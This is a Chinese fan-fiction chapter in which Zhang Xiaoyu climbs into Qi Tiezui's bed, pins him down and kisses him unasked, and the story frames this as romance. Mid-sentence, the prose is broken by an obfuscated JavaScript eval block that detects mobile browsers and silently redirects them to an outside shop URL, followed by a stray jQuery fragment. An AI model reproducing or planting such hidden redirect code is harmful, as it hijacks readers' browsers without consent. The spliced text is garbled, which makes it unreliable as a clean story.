佛爷走的第二天夜里,齐铁嘴在床上翻来覆去烙煎饼似的,把被子拧成了麻花。
张小鱼坐在床边的椅子上,手里翻着今天送来的军务文书。他看了大半个时辰,硬是一个字没看进去,因为床上那位动静实在太大了——一会儿朝左翻,一会儿朝右翻,一会儿把被子蹬开半截,一会儿又裹回去,叹气声一声接一声,跟唱戏的吊嗓子似的。
张小鱼合上文书,扭头看他:"睡不着?"
齐铁嘴正以一种扭曲的姿势侧躺着,一条腿搭在被子上,胳膊枕在脑袋底下,眼睛睁得圆溜溜地盯着床帐顶。他听见张小鱼问话也没回头,只是闷闷地"嗯"了一声。
"要不要我陪你?"
齐铁嘴还没来得及反应过来这句话是什么意思,就听见椅子挪动的声响,然后床板微微一沉,一个温热的身躯已经翻上了床。张小鱼动作利落得很,军靴早在床边蹬掉了,只穿着袜子跨过来,掀开被子一角就躺了进来。
齐铁嘴猛地坐起来:"哎!副官你干嘛——"
他话音未落,整个人就被一股力道拽了回去。张小鱼的手臂箍着他的腰,把他往怀里一带,齐铁嘴只觉天旋地转,后背贴上了一片结实的胸膛。
"八爷,"张小鱼的呼吸喷在他后颈上,带着笑意,"你翻来翻去吵得我文书都看不进去。"
齐铁嘴急得手脚并用,胳膊肘往后怼,腿也乱蹬,企图把张小鱼踹下去:"你下去!谁让你上来的!佛爷说的不许你——"
"佛爷说不许你出院子出府,"张小鱼单手就把他两条乱蹬的腿压制住了,声音不紧不慢,"没说不许我上床陪你。"
齐铁嘴气得脸通红,更用力地挣动起来。可他一个算卦先生的力气哪儿比得过张小鱼这种刀口上滚过来的练家子,越是挣扎,后背贴得越紧,衣裳在扭动中蹭得乱七八糟的,领口松开了半截,露出颈侧一片泛着粉色的皮肤。
"八爷,"张小鱼的声音忽然沉了下去,气息也重了几分,"别动了。"
齐铁嘴还没反应过来,只觉身后张小鱼的身体明显僵了一下,箍在他腰间的那条手臂猛地收紧了几分。然后他才感觉到——后腰上抵着什么东西,硬硬的,热热的,正隔着薄薄的布料传来不容忽视的触感。
齐铁嘴整个人像被点了穴似的定住了。
他的脸从耳根一路烧到脖子根,连后背都泛起了细密的红。他僵硬地保持着那个姿势,一动不敢动,连呼吸都屏住了,只听见自己心脏扑通扑通跳得又急又响。
张小鱼喘了几口粗气,额头上渗出细汗,抱着齐铁嘴的那只手臂因为用力过度而微微发着抖。他把下巴搁在齐铁嘴的肩窝里,嘴唇几乎贴着他的耳廓,嗓音沙哑得不成样子。
"八爷,安静点……"他闭着眼,胸口剧烈起伏着,像是在用全部的理智压制着什么。"你要是再动,我就不保证……"
他没说完。可齐铁嘴听懂了。
他僵得像块木板,连眼珠子都不敢转了。张小鱼那双手虽然箍着他,可指节攥得发白,每一个关节都在用力克制。那双眼睛里翻涌着的东西齐铁嘴认得——他跟九门的人混了这么久,什么人起了什么心思他多少看得出些。可他从没想过,有朝一日那种东西会冲着他自己来。
张小鱼的呼吸在黑暗里慢慢平复了些。他低头看着齐铁嘴近在咫尺的侧脸,看着他通红得近乎滴血的耳尖,看着他微微颤抖的睫毛,看着他紧抿的嘴唇。
那嘴唇因为紧张而微微张着,泛着水润的光。
张小鱼盯着看了几秒,脑子里那根弦忽然就崩了。他忘了那个约定,忘了佛爷临走前的叮嘱,忘了他们几个副官之间立下的规矩——他低下头,把自己的嘴唇覆了上去。
齐铁嘴的唇又软又凉,被他的唇压住时微微颤了一下。张小鱼只碰了一下就分开了,齐铁嘴的唇上留着他烫人的温度。他大口喘着气,嘴唇离开一寸又舍不得似的啄了一下,才狠狠别过脸去。
齐铁嘴被他亲懵了。他半张着嘴,脑子里一片空白,嘴唇上那点又烫又麻的触感还没消散,他愣愣地不知道该怎么办。
张小鱼把脸埋进齐铁嘴后颈的发丝里,闷声道:"八爷,你乖一点。"
他收紧手臂,把齐铁嘴整个人拢进怀里,从背后密密实实地裹着他,像一只护食的兽终于把猎物叼回了窝里。齐铁嘴的后背贴着他的胸膛,能感觉到那颗心还在擂鼓似的跳。
张小鱼闭着眼,在心里苦笑。
要不是佛爷临走前把他们三个叫到书房里,一条一条地立了规矩——"老八身子没好利索,谁都不许动他;等他好全了,也得他自己愿意,谁要是强来,我卸了谁的胳膊"——他今晚怕是真要做出什么来。
可他现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846605|211740||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只能忍着。
"八爷,"张小鱼的声音终于恢复了平稳,带着一种无奈的温柔,"该睡了。晚安。"
齐铁嘴还僵着,直到听见张小鱼的呼吸渐渐沉下去,才敢慢慢放松了身体。他偷偷往后看了一眼,张小鱼已经闭了眼,可箍着他的手臂依然锁得紧紧的,像是怕他半夜跑了似的。
齐铁嘴把脑袋往张小鱼的肩窝里埋了埋,企图把自己那张通红的脸藏起来。太丢人了。他被一个副官亲了,还被抱着睡,而他居然……不讨厌。
甚至心跳还有点快。
"呵呵。"张小鱼忽然笑了一声,胸腔的震动传过来,震得齐铁嘴头皮发麻。"八爷,你在往我怀里钻。"
"……我没有。"
"你有了。"张小鱼把下巴搁在他头顶,蹭了蹭,"睡吧,乖。我说了现在不会对你做什么的。等你好了,愿意了,再说。"
齐铁嘴闷声道:"谁愿意了……"
张小鱼又笑了,手臂收得紧了些:"好,你不愿意。是我愿意。行了睡吧。"
齐铁嘴被他裹在怀里,暖烘烘的,困意慢慢地涌上来。他闭着眼,在意识模糊的边缘忽然想起明天的计划——明天中午,他就要走了。离开佛爷府,离开这四个人,离开这些让他心慌意乱又舍不得的一切。
他现在躺在张小鱼怀里,被这个人小心翼翼地抱着,耳边是这个人平缓的呼吸声。这种温暖的感觉让他鼻子发酸。
可他明天还是要走。
因为他太清楚了——如果他不走,等到这些人娶妻生子的那一天,他会比现在痛一万倍。
齐铁嘴在张小鱼怀里动了动,把脸埋得更深了些。他轻声说了句什么,含混得几乎听不清。
"什么?"张小鱼迷迷糊糊地问。
"……没什么。"齐铁嘴闭上眼,"睡吧。"
窗外月光正好,照在两人交叠的被子上,泛着一层柔和的银色。齐铁嘴在张小鱼均匀的呼吸声中终于沉沉睡去,眉头却微微蹙着,像是在梦里还在为什么事情发愁。
张小鱼低头看着他睡梦中依然皱着的眉心,伸出拇指轻轻抚了抚。
"八爷,"他极轻地说,"你到底在烦什么?"
齐铁嘴没听见。他只是往那个温暖的怀抱里又缩了缩,像只找到了窝的猫。
天亮之后,就是离别了。